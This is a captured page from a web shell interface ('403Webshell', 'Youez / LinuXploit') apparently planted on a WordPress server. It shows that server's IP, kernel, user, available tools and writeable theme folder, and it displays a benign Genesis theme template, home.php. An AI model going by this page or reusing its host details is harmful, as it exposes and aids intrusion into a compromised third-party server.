403Webshell
Server IP : 69.164.203.165  /  Your IP : 216.73.216.219
Web Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/matlock/wp-content/themes/lmg_custom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/matlock/wp-content/themes/lmg_custom/home.php
<?php

// Template Name: Home

add_action( 'genesis_meta', 'lmg_home_genesis_meta' );
/**
 * Add widget support for homepage. If no widgets active, display the default loop.
 *
 */
function lmg_home_genesis_meta() {

	if ( is_active_sidebar( 'hero-image' ) ){

		add_action( 'genesis_after_header', 'lmg_home_loop_helper_top' );

	}

	if( is_active_sidebar( 'tier-1') || is_active_sidebar( 'tier-2' ) || is_active_sidebar( 'tier-3' ) || is_active_sidebar('tier-4') ) {
		remove_action( 'genesis_loop', 'genesis_do_loop' );
		add_filter( 'genesis_structural_wrap-site-inner', '__return_empty_string' );
		add_action( 'genesis_after_header', 'lmg_home_loop_helper_middle' );
	}
}

function lmg_home_loop_helper_top() {
		genesis_widget_area( 'hero-image', array(
		'before' => '<div class="hero-image" data-overimage="true"><div class="wrap">',
		'after' => '</div></div>',
	) );
}

/**
 * Display widget content for "Home Feature 1, 2, 3, and 4" sections.
 *
 */
function lmg_home_loop_helper_middle() {

	genesis_widget_area( 'tier-1', array(
		'before' => '<div class="tier-1"><div class="wrap">',
		'after' => '</div></div>',
	) );

	genesis_widget_area( 'tier-2', array(
		'before' => '<div class="tier-2"><div class="wrap">',
		'after' => '</div></div>',
	) );
	
	genesis_widget_area( 'tier-4', array(
		'before' => '<div class="tier-4"><div class="wrap">',
		'after' => '</div></div>',
	) );

	genesis_widget_area( 'tier-3', array(
		'before' => '<div class="tier-bg"><div class="wrap">',
		'after' => '</div></div>',
	) );


}

genesis();

Youez - 2016 - github.com/yon3zu
LinuXploit